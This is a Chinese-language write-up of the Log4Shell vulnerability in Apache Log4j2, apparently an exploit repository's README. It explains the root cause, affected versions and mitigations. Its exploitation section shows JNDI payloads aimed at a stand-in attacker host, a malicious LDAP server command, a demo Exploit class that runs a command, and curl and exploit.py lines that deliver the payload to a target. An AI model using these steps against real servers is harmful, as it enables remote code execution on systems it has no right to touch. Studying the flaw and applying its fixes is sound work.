CVSS 10.0 严重 | CWE-502:不可信数据的反序列化 | CWE-917:表达式语言注入的不当中和
Log4Shell(CVE-2021-44228)可以说是 2020 年代最严重的漏洞,影响 Apache Log4j2 2.0 到 2.14.1 版本。该漏洞由阿里巴巴云安全的 Chen Zhaojun 于 2021 年 11 月发现,并于 2021 年 12 月 9 日公开披露,它允许未经认证的攻击者在全球数亿台服务器上执行远程代码。
该漏洞源于 Log4j2 的 JNDI(Java 命名和目录接口)查找功能,该功能允许在日志消息中使用类似 ${jndi:ldap://attacker.com/a} 的任意查找字符串。当用户可控的字符串包含此类模式并被记录时,Log4j2 会执行 JNDI 查找,从而加载并执行远程 Java 类。
Log4j2 引入了一个名为“消息查找”的功能,该功能将日志消息中的 ${...} 模式替换为来自各种来源(JNDI、环境变量、系统属性等)的值。JndiLookup 类(org.apache.logging.log4j.core.lookup.JndiLookup)在未进行适当清理的情况下,对攻击者控制的字符串调用 InitialContext.lookup()。
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
}
try {
// Directly passes attacker-controlled key to JNDI lookup
return JndiManager.getJndiManager().lookup(key);
} catch (...
lookup() 方法委托给 javax.naming.InitialContext.lookup(),后者可以从 LDAP、RMI、DNS 或 CORBA 服务器加载远程对象。
${jndi:ldap://attacker.com/a}${...} 模式并调用 JndiLookup使用 marshalsec 启动一个恶意的 LDAP 服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python3 -m http.server 80 # Serve Exploit.class
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'
或者通过 HTTP 头:
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com
包含的 exploit.py 提供:
| 版本 | 状态 |
|---|
| Log4j 2.0 – 2.14.1 | 存在漏洞 |
| Log4j 2.15.0-rc1 | 部分修复(可通过 CVE-2021-45046 绕过) |
| Log4j 2.15.0 | 有限修复(默认禁用 JNDI,限制查找) |
| Log4j 2.16.0 | 禁用 JNDI,移除消息查找 |
| Log4j 2.17.0 | 针对 2.x 的最终修复(CVE-2021-44832) |
| Log4j 1.x | 不直接受影响(不同代码库) |
| 方法 | 详细信息 |
|---|
| 升级 Log4j | 更新至 2.17.0+(2.x)或 2.12.4+(Java 7) |
| JVM 参数 | -Dlog4j2.formatMsgNoLookups=true |
| 移除 JndiLookup | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
| WAF 规则 | 在请求中阻止 ${jndi: 模式 |
| 网络控制 | 阻止到不受信任服务器的出站 LDAP/RMI |